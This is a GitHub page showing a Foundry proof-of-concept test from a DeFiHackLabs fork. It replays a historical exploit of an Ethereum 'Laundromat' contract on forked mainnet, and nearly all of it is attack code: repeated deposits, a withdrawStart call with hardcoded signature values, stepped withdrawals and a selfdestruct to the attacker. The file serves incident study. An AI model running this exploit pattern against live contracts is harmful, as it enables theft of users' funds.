forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathLaundromat_exp.sol
More file actions
101 lines (87 loc) · 4.44 KB
/
Laundromat_exp.sol
File metadata and controls
101 lines (87 loc) · 4.44 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : 1.5K USD
// Attacker : https://etherscan.io/address/0xd6be07499d408454d090c96bd74a193f61f706f4
// Attack Contract : https://etherscan.io/address/0x2e95cfc93ebb0a2aace603ed3474d451e4161578
// Vulnerable Contract : https://etherscan.io/address/0x934cbbe5377358e6712b5f041d90313d935c501c
// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x08ffb5f7ab6421720ab609b6ab0ff5622fba225ba351119c21ef92c78cb8302c
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x934cbbe5377358e6712b5f041d90313d935c501c
// @Analysis
// Post-mortem : https://x.com/TenArmorAlert/status/1909814943290884596
// Twitter Guy : https://x.com/TenArmorAlert/status/1909814943290884596
// Hacking God : N/A
address constant Laundromat = 0x934cbbE5377358e6712b5f041D90313d935C501C;
address constant addr1 = 0x2E95CFC93EBb0a2aACE603ed3474d451E4161578;
address constant attacker = 0xd6BE07499d408454D090c96bd74A193F61f706F4;
contract ContractTest is Test {
function setUp() public {
vm.createSelectFork("mainnet", 22222687-1);
}
function testPoC() public {
emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
vm.startPrank(attacker, attacker);
AttackerC attC = new AttackerC();
vm.stopPrank();
emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
}
}
// 0x2E95CFC93EBb0a2aACE603ed3474d451E4161578
contract AttackerC {
constructor() {
if (address(this) == addr1) {
// deposit() x4
(bool s1,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,
0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,
0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6
));
require(s1);
(bool s2,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,
0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,
0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6
));
require(s2);
(bool s3,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,
0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,
0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6
));
require(s3);
(bool s4,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.deposit.selector,
0x53fc1ed6fc846bb1bb169b59c0f09b68c5489f92a52de825288380980c45ca8a,
0xdd3a0e9477d9e2f82be3b891061fb1d435839c670ff6aa61183f5ee01d52d3b6
));
require(s4);
// withdrawStart(signature[], x0, Ix, Iy)
uint256[] memory sig = new uint256[](5);
sig[0] = 0x33f79225929030e6369f0fbf5500142b8a4e10370e35f701a0e5c4d324f098d6;
sig[1] = 0x93708ff3b6dcb272664acb22881510360a04ca1a0a05a8dda37d06ddc62e5bf0;
sig[2] = 0xec91250cc040f420bdd11eb4b77cbf1d659ed043e88dbe49b392d44a85453e04;
sig[3] = 0xddaef0451b6c22a35bc641cd5f66aae904351f8adca3e588f0385d9d0bec542f;
sig[4] = 0x2652c96f86b22f421949daee41ffef503df3a06072e372de15105d0783bc2ba3;
(bool s5,) = Laundromat.call(abi.encodeWithSelector(
ILaundromat.withdrawStart.selector,
sig,
0xa844d117805bbe3b276c37582fc1f960b5870ccd0d1016ec39a2b32a5bc780cf,
0x3184ac964636725c9c94d3767739fd89fc58da189ef8579409052b860e00b28f,
0xd7b3de3e1198ad3c53db7b873132bd16741f130d8fe73e801b281182cc3da487
));
require(s5);
// withdrawStep() x5
for (uint256 i = 0; i < 5; i++) {
(bool ss,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.withdrawStep.selector));
require(ss);
}
// withdrawFinal()
(bool sf,) = Laundromat.call(abi.encodeWithSelector(ILaundromat.withdrawFinal.selector));
require(sf);
selfdestruct(payable(attacker));
}
}
}
interface ILaundromat {
function deposit(uint256, uint256) external;
function withdrawFinal() external returns (bool);
function withdrawStart(uint256[] calldata, uint256, uint256, uint256) external;
function withdrawStep() external;
}